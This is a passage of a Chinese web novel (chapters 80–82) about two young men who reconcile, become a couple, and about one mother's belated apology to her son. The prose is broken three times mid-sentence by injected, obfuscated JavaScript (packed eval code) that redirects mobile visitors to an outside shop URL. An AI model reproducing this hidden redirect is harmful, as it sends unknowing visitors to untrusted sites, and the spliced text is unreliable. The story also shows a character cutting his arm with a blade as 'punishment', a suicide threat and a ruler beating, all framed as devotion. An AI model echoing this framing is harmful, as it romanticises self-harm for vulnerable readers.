所有被他刻意压制的伤心和委屈反噬般涌上,那条销匿许久的河床重新浮现,原来它从未消失,只是被自己藏进了深海里。 鼻尖发酸,他望着阮牧年逐渐远去的背影,在心里与他对话。 好久不见,年年。 对不起。 那个说天塌下来也要替你撑着的阿君羊,再也没有站起来的勇气了。 80. 80 桑群在地上躺了很久,几乎就要这样睡过去。 但他得站起来,得重新收拾好自己,得得体地回去继续打工,继续奔波。 这一小段躺在深巷里品尝酸涩的时光,就当是一次小小的偷懒吧。 等心尖上的那点酸胀过去,他还要接着赶路。 然而在心情平复之前,眼皮上的光忽然变暗。 天黑了吗? 他睁开眼,对上了一双比夜幕更加幽邃漆黑的眼眸。 阮牧年穿着整齐的校服,双肩背包,干净的板鞋停在他凌乱的头发边,就这样沉默不语、居高临下地凝视着他。 那一瞬间,他其实什么都来不及想,只是发着愣。 记忆里,无论是年年还是阮牧年,都没有露出过这样的神情。 那眼神让他感到些许陌生,也不知要作何反应。 阮牧年先动了起来,俯身朝他伸出手。 桑群抿了抿唇,手上都是尘沙,他不想弄脏阮牧年的手。 可阮牧年见他不动,强硬地扣住他的胳膊,硬是把人从地上拉起来。 桑群第一次发现他的力气居然这么大。 可拉起来又有什么用,干净的好学生,脏乱的坏孩子,云泥之别,面对面站着,中间那道看不见却也无法忽视的鸿沟如何填平? 桑群垂下眼,想挣开他的手。 阮牧年没给他这个机会,拉起人就走。 这是去哪里?桑群想发问,可阮牧年的步子太快,他小腿有点疼,踉踉跄跄的,也就顾不上深究目的地。 两人一路无话,进了一处废弃的后院,空地上有几个石墩。 “你……”桑群刚开口就被自己沙哑的嗓音吓到。 阮牧年的声音没什么起伏:“坐下。” 到底要干什么,桑群看着他卸下肩上的书包,从里面掏出一个印着药店图标的塑料袋。 阮牧年显然并不熟悉这些用品,翻了一阵,掏出一管药膏问:“这个可以吗?” 随着他的动作,一张单据从袋中露出边角,上面的购买时间就在不久前。 是现买的。 说不清心底的滋味,桑群下意识说:“不用……” “那就这个了,”阮牧年打断他,“闭嘴。” 几个月不见,这家伙怎么变得如此霸道?桑群还没来得及不满,下巴就被人托起来。 冰凉的药膏沾在唇边,原来闭嘴是要给他上药,不是嫌他多话。 那点清凉从脸上蔓延开,又在四肢各处都涂抹了一些,阮牧年细致地替他揉开,笨拙地给他渗血的伤处贴上创口贴。 桑群忍了忍,还是没忍住:“……你手劲好大。” 阮牧年的动作一顿,蹲在他面前抬头:“弄疼了?那我轻点。” 按揉的手法真的轻柔了不少,桑群看着他的发旋,心中莫名的情绪翻涌,驱使他开口:“你……为什么?” 阮牧年没抬头:“什么为什么?” “为什么……”心里有很多疑问,也有很多想不明白的事情,可一旦到了嘴边,又觉得言语苍白,最后他只能问出最无关紧要的一个问题,“为什么破费?” 阮牧年的动作却彻底停下,重复了一遍他的问题:“你问我……为什么破费?” 不知为何,桑群感觉他的语气似乎有些冷硬。 “哈,桑群,”阮牧年拿药膏的手指轻轻点在太阳穴边,似乎被他气笑了,“那你告诉我,受伤后不涂药,要怎么办?” 桑群张了张口:“这点小伤……” “小伤?”他的话好像总能踩到阮牧年的雷点,少年黑沉的眼眸紧紧盯着他,“你真该看看自己现在这幅样子……没人告诉过你,你的皮肤真的很薄吗?” 什么啊,小腿一痛,桑群低头去看,阮牧年握着自己腿肚子的手指不禁用力,很快就在上面留下一片红痕。 阮牧年欺身过来,没有反光的眼眸阴沉得可怕,他一字一顿地问:“桑群,你忘记自己答应过我的事情了吗?绝对、绝对不要伤害自己,包括放任别人伤害你……你食言了。” 什么,食言的难道不是这个对他不闻不问的家伙吗?桑群觉得他简直无理取闹。 阮牧年却继续道:“既然你这样不爱惜自己,我只能履行承诺了。这样会让你长记性吗。” 履行什么,桑群瞳孔一缩,当即要伸手制止他:“等等,你疯了!” 难怪要用塑料袋装着,原来底下还藏了凶器。阮牧年当着他的面捏起刀片,往小臂上划出一道血痕来。 “阮牧年!”桑群紧紧抓住他的手腕,不让他继续割,“你读书读傻了吗?!” “我说了,如果你伤害自己,那我也伤害我自己,”阮牧年没有挣扎,脸上的表情平静到恐怖的地步,“原来你会为别人受伤而心疼啊,那为什么不对自己好一点呢?” “你脑子坏掉了吧……” “脑子坏掉的不是我,”阮牧年依旧用那真空般令人窒息的眼神看着他,“是你违背了我们的约定,那就要接受惩罚。松手,桑群。” “这算哪门子惩罚,”桑群咬着牙骂他,“你不疼吗!” “疼啊,”阮牧年望着他,居然轻轻笑了出来,“看见你受伤的时候更疼。可是桑群,你好像感觉不到啊,那就体会一下我的感受吧。” 这人绝对疯了,跟他讲道理讲不通,桑群换了策略:“你胆敢再往手上划一下,我马上就去找个楼跳了!” 阮牧年的眼神瞬间阴沉下来:“你敢。” 桑群瞪回去:“这要看你敢不敢。” 两人无声地僵持了一会儿,最后还是阮牧年最先妥协,把刀片往旁边一扔,用力的时候肌肉绷紧,血珠从伤口里渗出。 “我不敢,”阮牧年承认了自己的懦弱,反问,“那你呢,桑群?违背誓言的人就可以这样被放过吗。” “你理智一点,”桑群劝他,“想打我骂我随你,不要动那么危险的东西……” “好啊。”阮牧年说。 好什么,桑群奇怪地看了他一眼。 “那就换个方式教训你吧,”阮牧年继续掏塑料袋,居然从里面摸出一把戒尺,“伸手。” 桑群差点傻眼:“不是,等……” “桑群。”阮牧年的尾音染上些许不虞。 真要打手心啊?也太丢人了,这家伙到底在摆什么哥哥架子,简直是恶毒继兄。 桑群不情不愿地伸出手。 阮牧年干脆利落地打了他一下,力道很足,带着脆响。 桑群没忍住抖了抖身子,别过脸去,眼睑泛红。 阮牧年问他:“知道错了吗?” 疼死了,桑群低着声音坐在那里:“……我记住了。” “错在哪儿了?” “不该让自己受伤。” “不对,”阮牧年却摇头,“你错在不够自私。如果你真的爱惜自己,就不该伸手挨打。你应该躲起来,骂我凭什么打你……可你没有。” 什么诡辩,桑群要被他绕晕了,挨打也有错? “所以你又食言了,”阮牧年再次拎起戒尺,“伸手。” “你神经病吧?”桑群忍无可忍,“口口声声说我错了要惩罚我,那你呢?你没有食言吗?” 阮牧年一怔:“我怎么了?” 怨恨一旦开了口子,就难以控制地泄露出去,根本止不住。桑群觉得自己许久没有说过这么多话了:“我们已经三个月没见面了,上一次是一个月,再上一次是半个月……如果继续这样下去的话,干脆别见面了。阮牧年,你真的在乎我吗?如果觉得我占着唯一的位置碍眼,那就丢掉好了,反正你有那么多朋友,也不差一个不讨喜的家伙吧?” 阮牧年皱眉:“我什么时候说我不在乎你了,不是你先远离我的吗。” 桑群人在石上坐,锅从天上来:“你说什么?” “每次看见我你都冷着一张脸,你不知道年段里关于我们俩有仇的传闻吗?”阮牧年控诉道,“你又不喜欢别人嚼你口舌,我只能减少跟你见面了啊。” 什么,他从未听说过这类传闻,桑群还有疑虑:“你同学朋友那么多,我对你来说真的很……” “很重要,”阮牧年打断了他的话,珍而重之地说,“非常重要……桑群,你一直都是我最重要的朋友啊。” 怎么回事,眼眶有些发麻,桑群用力闭了一下眼:“我该怎么相信你?阮牧年,我们好像……不再像小时候那样亲近了。” 能够肆无忌惮地喊对方的叠字名,能够毫无顾忌地彼此拥抱触碰,能够心无芥蒂地谈天说地……童年的种种仿佛就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不做朋友,我们能做什么?” 听起来像是一个无解的难题,阮牧年却顷刻间给出答案。 “做家人吧,”阮牧年紧紧地抱着他,坚定的声音恍惚间与那个天台上的年年重叠在一起,“我们做彼此独一无二的家人,再也不要分开了。” 桑群感觉心脏的一角被人揪了一下,那条蜿蜒心田的河流涌动起来,胀胀的情绪难以说清。 “可我们不是有……” “家人跟亲人是不一样的,”阮牧年的声音在两人的布料间响起,“我只有你一个家人。除了阿姨之外,我能做你唯一的家人吗?” “阮牧年,”眼皮热热的,桑群只能强迫自己盯着石头缝里的小草,“我从来没有推开过你。” 阮牧年的声调低下来,尾音黏在一起:“桑群,我在求你。” 桑群没再说话。 傍晚清凉的晚风缓缓经过他们,这方偏僻的空间悄无人声,落在地上的票据被吹起飘远,拥抱在一起的两人于沉默中煎熬着。 许久,桑群才问:“你的小拇指还在吗?” “在,”阮牧年嗓音发紧,立即应道,“我的手掌,我的胳膊,还有我整个人……都在。” 桑群却说:“可我看不见它们。” 阮牧年一时没有回答。 “阮牧年,”桑群垂下眉睫,手指轻动,在他背上抚了抚,“不要轻易许诺永远……你明白我的意思。” “我不明白,”阮牧年抬起头,稚气未消的脸颊微肉,眼尾泛着红,“你打算从现在开始推开我吗?” “我没……” “你就是这样想的,”阮牧年抹了把眼睛,毫无威慑力地瞪他,“好,我会让你知道塑料袋是甩不掉的。” “不是,我……” “我还要回学校上晚自习,其他事下次再说吧,”阮牧年很快收拾好了情绪,“袋子里的药都是给你买的,不准惦记什么破费了,好好养伤。但不要忘记了,桑群,这种事再有一次,我见你一次打你一次,知道吗?” 桑群皱起眉:“你什么态度?” “是你哥的态度,”阮牧年重新背起书包,“明天中午放学,在这里见面吧。再见,回家路上小心。” 等等,这家伙到底都自顾自说了一些什么?桑群被他留在原地,耳边只剩塑料袋被夜风吹动的声响。 但很奇怪,那些渲染上黄昏色调的悲伤好像从他心底退潮,寻不到踪迹了。 明明也是分别,明明阮牧年变得更没礼貌了,明明自己好像还是被丢下的那个人,却无法再伤感起来。 因为……阮牧年说,明天中午见。 81. 81 那天之后,很多事都发生了变化。 逐渐频繁的见面,既是打着学习备考的旗号,也是两人心照不宣的关系修复。只有那天未竟的话题再没人提起,放任它消逝在那个黄昏的晚风中。 桑群能感觉到,他们做不回纯粹的朋友了。 没有哪对朋友的联系会像他们这样密切,也没有哪份友谊会如此沉重,但阮牧年想要的那个答案,桑群无法轻易给出。 他们已经不是小孩子了,也就无法随便许出唯一的诺言。 直到某次午休,桑群闷头写完卷子,往旁边一看,阮牧年居然趴在那里睡着了。 对方最近在帮他整理学习笔记,确实很辛苦。桑群看了眼椅子上的校服外套,想给他披上。 凑近的时候,听见了睡美人的呓语。 “……阿君羊……哥哥……” 久违到以为再也听不到的称呼从对方口中传出,那呼唤轻得几乎散进风里,却依旧抓住了桑群的听觉。 他梦到了什么? 桑群当着他的面偷听起来。 “……阿君羊哥哥……不要、丢下……年年……” 只这一句话就将他定在了原地,久久没有动作。 正午骄阳正燥,落地窗帘被沉闷的热风吹起一角,泄露进几缕光线。 阮牧年的脸埋进臂弯,挤压鼓起的脸颊让他看起来与幼时的脸庞逐渐相近。 桑群忽然就想通了。 对他而言,哪怕是家人也有被背叛的风险,他为此陷入踌躇,不愿给出承诺。 可对阮牧年而言,家人是他多年来可望不可即的存在。 漂泊了这么久的小可怜蛋,做梦都在哀求他,他又怎么能不心软呢? 那一年的生日,阮牧年收到了一份特别的生日礼物。 “迁户口需要登记,”桑群将自制的户口本摊开,放到他面前,“写吧,哥。” 阮牧年拿着笔,还有点没反应过来:“你叫我什么?” 桑群坚决不叫第二次。 “这个户口本……它有效用性吗?”阮牧年边写边忍不住问,“这是哪个局发行的?局长是谁?” “局长是我,”桑群说,“你有什么意见?” “没有意见,”阮牧年忍着笑,又问,“亲属关系这里……怎么填?” “你是大儿子,”虽然很不愿意承认阮牧年证件上的出生日期,但毕竟是生日,让这家伙暗爽一下吧,桑群道,“我是小儿子。” “那你应该叫我什么?” “滚。” “我不滚,叫什么啊?” “阮牧年。” “我不要叫这个。” “写完了没?” “没写完,你不说就写不完。” “……别闹了,哥。” “再说一遍吧……” “别得寸进尺。” …… 回忆罅隙里的风声逐渐远去,现实的时空里,阮牧年静静地看着他,目光与那个黄昏里居高临下的眼神一点点靠拢。 “原来如此,”桑群终于完整地读懂了他眼里的情绪,“但我……更喜欢你现在这副表情。” “为什么?” “人们是靠反馈感而活的,”桑群偏头,将唇印在阮牧年手背上,“就像那天,我虽然惹你生气了,但还是想从你口中听到那些话。” “就算是谎话?” “嗯,就算是谎话,”桑群点头,“不过……你也不敢对我撒谎吧?” “那不一定哦。” “你好像很能耐?” “一般一般啦,比你强而已。” “那你过来。” “哇,你要干嘛?” “来看看你脸皮厚不厚。” “别捏了别捏了,呜哇桑群你怎么可以这样报复我……” “脸蛋这么软,怎么好意思说大话?” 两人闹了一阵,不远处的亭子喧动起来,那里不知何时坐满了人,可见阮牧年的决策非常正确。 “好像要日出了,”阮牧年查了一下天气预报,“你坐好啦,不要扭着。” “我哪里扭了。”桑群很冤。他低头看了一眼,自己只是用脚踝跟阮牧年的勾在一起而已。 “我们要录像吗?”阮牧年问。 “不用,”桑群说,“眼睛看看就好。” 阮牧年应好,跟他缠着胳膊靠在一起,丝毫不提自己扭得更厉害。 反正也不是第一次了,桑群抬指挠了挠他的下巴,拉上围巾帮他遮好。 到了预报中的日出时间,天色隐隐发青,群山蜿蜒,黛色绵延。 真正坐在这里看,其实挺无聊的。光线推移得太缓慢,好几次桑群都差点睡着。 “好无聊哦,”阮牧年趴在他肩膀上小声吐槽,“纪录片里面很宏伟呢,刷啦一下一片金光……看来剪辑技术非常伟大。” “嗯,”桑群半阖着眼,“太阳在哪里?天都亮了,我还没看见。” “哦?那我看见了,”阮牧年立刻说,“你输啦,桑桑新娘。” 不是,这也能见缝插针地比?桑群睁开眼皮看着他:“那我也看见了。” 阮牧年没听懂:“不准耍赖。” “没有耍赖。”桑群伸手捏了捏小太阳的脸蛋。 阮牧年晃了晃脑袋,没把这只手甩掉,反而被人按着亲了一口。 “好可爱,”桑群摸着他,“年年新娘。” 阮牧年红着脸推开他:“不行,我们回去再比一次……” “有什么好比的,”桑群纳闷,“你输了你就是新娘,我输我是,不行吗?” “怎么会有两个新娘啊?不行不行,”阮牧年连忙摇头,“我们待会儿就比……谁中午吃的饭多!” “饭桶新郎吗?”桑群感到惊恐,“那我输了,我们别比这个。” “唔……那我再想一个。” 正思考着,鼻尖忽然一凉,阮牧年疑惑抬头,目光一怔。 “桑桑,这是……” 他抬起手,一点极其细微的白粒落入手心,冰凉转瞬即逝。 “下、下雪了?” 太神奇了,从没见过雪的小南瓜惊奇地仰起头,边四处张望着纷纷碎碎的细雪,边不自觉微微张嘴。 桑群垂眸看他,一巴掌盖在他下巴上。 “呃。你干嘛!”阮牧年吃痛,回头瞪他。 “不要吃,”桑群的手没有移开,“不干净。用眼观赏就好。” 阮牧年冲他吐舌头,正好一点小雪落在舌尖,他神情一怔,当即抓住桑群要吻过去。 “?” 桑群赶紧躲开他。但餐巾纸就这么大,躲也躲不了多远,很快他就被抓住,被迫品尝他嫌弃的脏东西。 “唔,阮牧年!” “哇桑桑,你也太不卫生了,”阮牧年在雪中笑嘻嘻道,“这么大了还吃雪,好幼稚。” 到底是谁幼稚,桑群眯了眯眼,手在背后蹭掉手套,迅速伸过去探进对方暖和的领口。 “嘶——”阮牧年被他冻了个正着,缩着脖子反击,“好坏。你也别想幸免!” 下着微雪的天气里面互掏对方脖子冻人,小学一年级的小孩子都不会这么干,两个刚成年的少年玩得不亦乐乎。 “好了,不闹了,”桑群微喘着气,拉着阮牧年围巾尾巴,把人拽进怀里,“再玩下去要着凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356359|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 阮牧年笑着在他怀里蹭了蹭,翻过来:“我给你戴手套。” 手拿出来一会儿,又冻红了。桑群警告他:“别放嘴里。” 刚乱摸过一堆东西,早不干净了。 阮牧年边戴边仰头在他唇边亲了一下:“那这个可以放嘴里嘛?” “嗯,”耳尖发热,桑群佯装自若,“可以。” “没想到今年能在山上看到雪,”阮牧年的嘴就没停下过,“今年一定会变得超级幸运的!” “这又是什么原理?” “你教我的,”阮牧年说,“心诚则灵呀。” 风牛马不相及,桑群轻嗤:“那看日出也能应用这个原理了。” “是呀,”阮牧年歪了歪头,“看我也可以。” 原来他听懂了那句话,桑群微微挑眉:“那你是什么,塑料神仙?” “好难听呀,”阮牧年撇了撇嘴,“你刚才还不是这样说的。” 手套戴好,桑群接过阮牧年凌乱的围巾,帮他重新系好:“累不累,要下山吗?” “几点了呀?” “快八点了。” “那还很早啊,我们再坐一会儿好了。” 阮牧年抚平皱起来的纸巾,暖烘烘地拱到桑群胳膊边:“就这样……静静坐一会儿吧。” “睡着了怎么办?”桑群靠着他问。 “那只好我抱你下山了,”阮牧年难过地叹了口气,“辛苦我了。” 桑群笑了一声,又问:“你在看什么?” “看到那边的山了吗?”阮牧年的目光飘远,“半山居雾若带然……云有点厚,鸟飞进去都看不见了。” 他在说什么,桑群迷茫地望去那个方向。 “据说那座山上茶田遍布,清香怡然,”眸里映着蔚蓝的天光,阮牧年向往道,“有机会的话,我们去参观一下吧。” 茶田……桑群忽然想起来,前几天新闻上播报过,东区边缘某座山上有一片茶园,A大相关专业似乎正在与茶户洽谈合作。 云流纤薄,飞鸟无踪,方才的细雪早已停下,新春的清晨掠过气味寒凉的风。 桑群忽然觉得晨雾有些浓,难怪看不见飞鸟的影子,原来飞鸟早已在云中。 “好啊,”他隔着手套跟阮牧年十指相扣,“你想去的话……那就一起去吧。” 阮牧年一怔:“我说的不止是山。” “嗯,”桑群对上他的视线,表情不似作假,“我知道。” “你要去校门口卖烧饼吗?”阮牧年担忧地问,“最近这种生意不好做呀。” “滚,”桑群差点想揍他,“我说的是陪你、进去。” “你还这么小,扮不好家长的。”阮牧年摇头。 桑群:“……阮牧年。” “不要连名带姓叫我啊,好吓人,”阮牧年夸张地抖了抖,顿了一下才继续道,“真的陪我一起去吗?” “当然,”桑群从来说到做到,“答应过你不分开的。” 阮牧年安静了一会儿,仰起头喊他:“桑桑……” “嗯?”桑群温柔回应,准备好迎接爱哭鬼的感动眼泪。 结果阮牧年目光清明道:“那你的寒假作业真的不能再拖了,还有你落下的课堂笔记……” 桑群的温柔戛然而止:“不是……” “你现在的分数太烂了,一直波动,”阮牧年坐直了一点,继续说,“要提分的话,还要多做一些练习……” 桑群搬起石头砸自己的脚:“你别说了……” “不行,这件事刻不容缓。” “求你了。” “求也得排队。” “……” 82. 82 又在山上待了一会儿,两人开始返程。 新年的第一天,街道大多数店铺都关了,路上难得的冷清。 太冷清也不好,旁边人的声音很聒噪。 阮牧年从山上讲到现在:“……吃完午饭,你就去写卷子,今天至少要完成两份……” 好吵。 路过某个拐角,桑群拉着他把人推到小巷墙上,堵住他的嘴。 终于安静下来了,桑群松了口气,微微撤开一点,若有似无地摩挲着他的唇瓣。 “年年老师,宽松一点好不好?”他特意拉长了字与字之间的连音,压低的声音听起来有点可怜。 阮牧年眨了眨眼:“桑群同学,你怎么可以在大街上压着老师呢?” “老师这里排队太慢,我只好插队了,”桑群垂着眼说,“求你了。” “不行,保底两张卷子,”阮牧年坚持,“不过……不会让你一口气写完的,别担心。” 一天写完两张卷子就不会让人担心吗?桑群想起自己曾经一天两道小题的光荣战绩,不由感到惊恐。 到了家门口,阮牧年一边开门,一边宽慰他:“你可能刚开始会觉得吃力,但速度训练是有必要的,长此以往下去……” 他的话音忽然止住,抬起的右脚停在门框上,迟迟没能踏进去。 客厅沙发上,正在翻阅时尚杂志的田女士见门开了,站起来后也愣了愣。 “……回来了啊。”她好半天挤出这么一句。 阮牧年定了几秒,后退躲到桑群背后。 “怎么了?”难道家里有什么怪兽吗,桑群不明所以地踏进家门,看见里面的人后也顿住了,“呃……阿姨好?” “你好,”田女士还是改不了拘谨的毛病,只能反复回顾桑母教她的技巧,“外面挺冷的,进来说吧?” 桑群点头,用力拽了一把身后人:“赶紧进来。” 阮牧年合上门,左手偷偷揪着桑群的衣角,把脸低着掩藏在对方的肩膀后面。 客厅里的气氛一时尴尬起来,桑群被迫跟田女士大眼瞪小眼,这简直是对他社交能力的一大挑战。 他默了两秒,高声喊外援:“妈?” 桑母闻声从厨房里出来:“哟,你们回来啦?年年呢?” 桑群侧开半个身子:“都回来了。” 阮牧年不好意思地笑了笑:“嗯,阿姨,我们都在。早上没有跟你说一声,桑群他……” 桑群赶紧怼他两下:“你少说几句吧。” “不说我也知道,你小子报复心很强啊,”桑母走过来弹了下他的脑壳,“这么多年了还记得呢。回来了就好,正巧牧年妈妈过来做客,你们陪她坐一会儿昂,我忙着做饭呢。” 阮牧年连忙说:“我也来帮忙。” 桑母看了他一眼,笑了笑:“行,那桑群你去招待客人。” 不是,他去? 在沙发上坐下,之前的尴尬重新降临,还以为他妈是救星,没想到推人至险境的扫把星。 跟田女士面面相觑几秒后,桑群站起身:“我去给您倒杯水。” “啊,”田女士指了指桌上的水杯,“你妈妈给我倒过了。” 桑群:“……” 桑群:“我去给自己也倒一杯。” 有了水杯,至少可以尴尬又不失礼貌地开始对话了。 田女士问:“你们早上去做什么了呢?” 桑群:“爬山,看日出。” 田女士:“哦。” 桑群:“……嗯。” “……” “……” 桑群问:“您怎么过来了?” 田女士:“这几天有空,想来看望一下牧年。” 桑群:“哦。” 田女士:“……嗯。” “……” “……” 田女士:“假期过得怎么样?有上什么补习班吗?” 桑群:“还行。没补课,作业都写不完。” 田女士:“哦。” 桑群:“您呢?工作还顺利吗?” 田女士:“还不错,职务算是稳定下来了。” 桑群:“哦。” 这般尬聊下去也不是办法,两个不擅长闲聊的人都在绞尽脑汁思考如何打破僵局。 桑群:“年年他……” 田女士:“牧年他……” 两人异口同声,忽然就对上了同一频道。 阮牧年从厨房出来的时候,一眼就看见了男朋友跟他妈聊得有来有往的画面。 他揉了揉眼睛,什么,居然没有眼花吗。 “开饭啦——”桑母端着大汤碗出来,“都去洗手拿碗筷!咱们家好久没有这么多人一块吃饭了,来,小田,你坐这!” 饭桌上的一切都被桑母安排得妥妥当当,小孩一边,大人一边,正中是今天的重头菜柠檬鱼片汤,两边摆着五六道小菜,每个人的米饭都盛得满满的。 有她在,再凝滞的氛围也能畅通流淌下去。 方才在厨房,桑母也开导了阮牧年不少。他抿了抿唇,夹起一筷子木耳炒肉放进田女士碗里,别扭地说:“您吃。” 田女士受宠若惊,桑母在一旁搭腔:“这是年年亲自炒的,快尝尝。” “嗯,很好吃,”常年身居高位,田女士其实并不太懂得怎么真诚地夸赞别人,更别说是自己的孩子,“真的……我、我很喜欢这道菜。” “嚯,”桑母挑了挑眉,“刚才年年在厨房说你喜欢吃这道菜,我还以为他瞎编的呢。” 田女士有些惊讶,看向对面的儿子:“你怎么知道?” 阮牧年不好意思地避开她的目光,扒拉了两下碗里的青菜:“上次吃饭的时候,您第一个点的就是这道菜,也夹的最多。” “哎,还是年年细心呢,”桑母支着脑袋笑说,“不像我家那小子,根本记不住老母亲的喜好。” 桑群安静吃饭也中枪,他无语抬头:“你一天八百个喜好,好歹考虑一下别人的脑容量吧?” “有吗?年年都记得住呢。” “他说什么你就喜欢什么,这是他记得住还是你双标?” 这母子俩对上,不可避免地又吵起来,阮牧年坐在旁边跟着他们笑,时不时夹点肉放到桑群碗里,提醒他记得多吃点。 而坐在另一边的田女士感受着饭桌上热闹的氛围,久违地体会到了年轻时的鲜活滋味,跟轰轰烈烈的爱、相敬如宾的相处不同,桑群家的气氛平淡里带着温馨,吵闹里藏着深情。 她又看向旁边的桑母,这个女人跟她见过的所有单亲家长都不一样。在对方眼中,家长从来不是孩子生命的主宰,也不是卑微匍匐在孩子鞋下的垫脚石,而是与他们羁绊最深的同行伙伴。 真好啊,她想。 自己不在的这些年,牧年能遇到他们一家,真好啊。 一顿饭下来宾主尽欢,田女士是客人,于是唯一没干活的桑群再次揽下洗碗重任,阮牧年跟过去监工。 在田女士的坚持下,桑母还是无奈地收下了一部分礼物,让她下次空手过来,不然就罚她一块来厨房帮忙。 田女士笑着应下,正准备离开,又被叫住。 “等等,”桑母高声朝厨房里喊了一声,“年年,出来送你妈妈一段吧。” 等了两秒,阮牧年才从厨房里出来:“来了。” 见田女士手里有东西,他伸手接过:“我来吧。” 田女士:“其实也不重……” “孩子想提就让他提嘛,”桑母拍了拍她的肩膀,推着人走到门口,“去吧,路上注意安全,下次有空再来玩,不用找什么借口。” 离开了热腾腾的桑群家,母子俩一前一后走在楼道间,彼此之间的气氛又沉默下来。 到了单元楼门口,阮牧年才开口问了句:“谁来接您?车子能开进来吗?” “老徐来接我,估计还要一会儿,”田女士看了看门外,“东门是从那边出去,对吧?” “嗯,”阮牧年将礼盒放在楼内的木桌上,“那里不让停车,最好随停随走。” “嗯……好的。” 等待的时间里,沉默将每一秒无限拉长。 站在门边的少年微微垂首,据说阳光开朗的孩子在母亲面前其实笑得并不快乐,冬天的昼光不是很耀眼,轻轻落在他鼻尖,仿佛一片飘来的雪羽。 田女士第一次发现,自己好像并没有仔细打量过对方的样貌。 原来阮牧年的眼尾有些下垂,睫毛又密又长,和她很像;原来他的脸颊并不清瘦,所以笑起来很有感染力;原来他的鬓边有一颗很小很小的痣,藏在过耳的碎发下;原来他的耳垂偏圆润,是有福之相…… 原来那个襁褓里的婴儿早已消逝在记忆的洪流里。 原来她的孩子早已长大。 田女士看着他走了神,直到阮牧年实在忍受不了这过分直白的注视,回头出声发问,她才恍然回神。 “我脸上……沾了什么东西吗?” “啊,没有,”田女士眨了下眼睛,第一次跟他说起了闲聊般的话题,“只是忽然觉得……你刚才的样子,和我高中时的某张照片有点像。” “是吗,”阮牧年轻轻笑了一下,“我才知道。” 心里被这句话刺了一下,田女士看着自己陌生又熟悉的孩子,对方好像一直顶着礼貌懂事的皮对她含蓄地不满。 “牧年。” 她放缓声调唤了他一声。这是一个黏连甜蜜的名字,两个音节分别需要抿唇和抵舌,像流连缠绕在舌尖的棉花糖。 她又想起来,在生活还没被鸡零狗杂淹没之前,在她还热恋期间,在窗外的明月温柔抚摸过她的孩子的睡床时,自己曾对他寄予满心的欣喜与期望。 田女士出身农户家庭,她曾经翻遍了各大词典,却找不到一个符合她期望的名字。 那时的阮父还十分疼她,看不下她大半夜不睡觉翻字典,于是问,她希望孩子成为什么样的人。 她想了想,说,她希望他们的孩子可以幸福快乐地长大,做一个知足常乐的人。 阮父说,那就叫阮乐乐好了。 太敷衍了,田女士立刻驳回了这个提案。 阮父无奈,又问她想象中的快乐是什么样的。 田女士想了很久,一直回忆到了童年时期,躺在大山草地里放牧看星空的惬意时光,那时候多自在呀,一块草地,一片天空,就是整个世界。 于是她想好了,孩子的名字,就叫牧年。 她希望他能像她小时候曾拥有的那段时光一样,幸福快乐地长大。 如若没有当年的坎坷,这个愿望本该实现。 可惜没有如果,她的愿望也没能成真。她的孩子带着快乐的祝福,活在了最不快乐的时光。 阮牧年避开了她的眼神,眉心轻皱:“如果您有什么话要说……可以留到下次吗?这几天毕竟在过年。” 田女士怔了怔,失笑:“我没有要说什么,今天来也只是即兴……其实有的时候,我也不是一个目的性很强的人。” 阮牧年轻轻啊了一声,不知道回什么。 “牧年,”她又喊了一遍这个名字,心里的滋味很奇特,“刚才看着你,忽然间想起了很多事。好像并不是所有事情都有规范的程序,在这方面我比较死板,但也不得不承认,我应该……并不是个称职的母亲。” 阮牧年的神情有些愣怔,似乎是没料到她会忽然这么说。 “这么多年,我欠你的东西太多了,”田女士轻声说,“想来想去,也只有一件是我能现在交予你的…… “我欠你一声道歉,牧年。当年没有带你走,是妈妈对不起你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356360|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阮牧年的眼皮很快地眨了一下,睫毛带颤:“怎么……” “太迟了,是不是?”田女士低下头,“我总是想在你面前摆父母架子,那时候我太狼狈了,我不想让你觉得,你的妈妈是个软弱无能的废人,但我老是对你发号施令的话,其实才是将你推开吧。” “现在说这些……又能怎样呢,”阮牧年放在身侧的指尖不自觉蜷缩了一下,“您也知道太迟了,我不一定会原谅你。” “是啊,你也不一定会原谅我,”田女士自嘲地笑了笑,“可我为了这点稀薄的面子,迷路了好长一段时间。要不是今姐开导我,我可能不敢迈出这一步。但既然开了口,就应该交代清楚。” 阮牧年轻声问:“交代什么?” “一直没有告诉你,当初没带你一起走的原因,”田女士的目光变得宛然忧伤起来,“听桑群那孩子讲,你的记忆力一直很好,不知道你还记不记得我和你爸爸离婚那时候的事情……很多人说我们是因为性格不合,嗯,有一部分原因吧,婚姻生活和单纯的恋爱确实不太一样,但更主要的还是因为当时……我生病了。” “一开始我们都没意识到这件事,我只是觉得很疲惫,还以为是月子里的人比较矫情,”田女士闭了闭眼,“但后来,我和你爸爸经常吵架,我们总是有各种矛盾和冲突,我受不了了,去医院看了医生,他们说……我得了产后抑郁。” 阮牧年瞳孔微缩,呼吸下意识屏住。 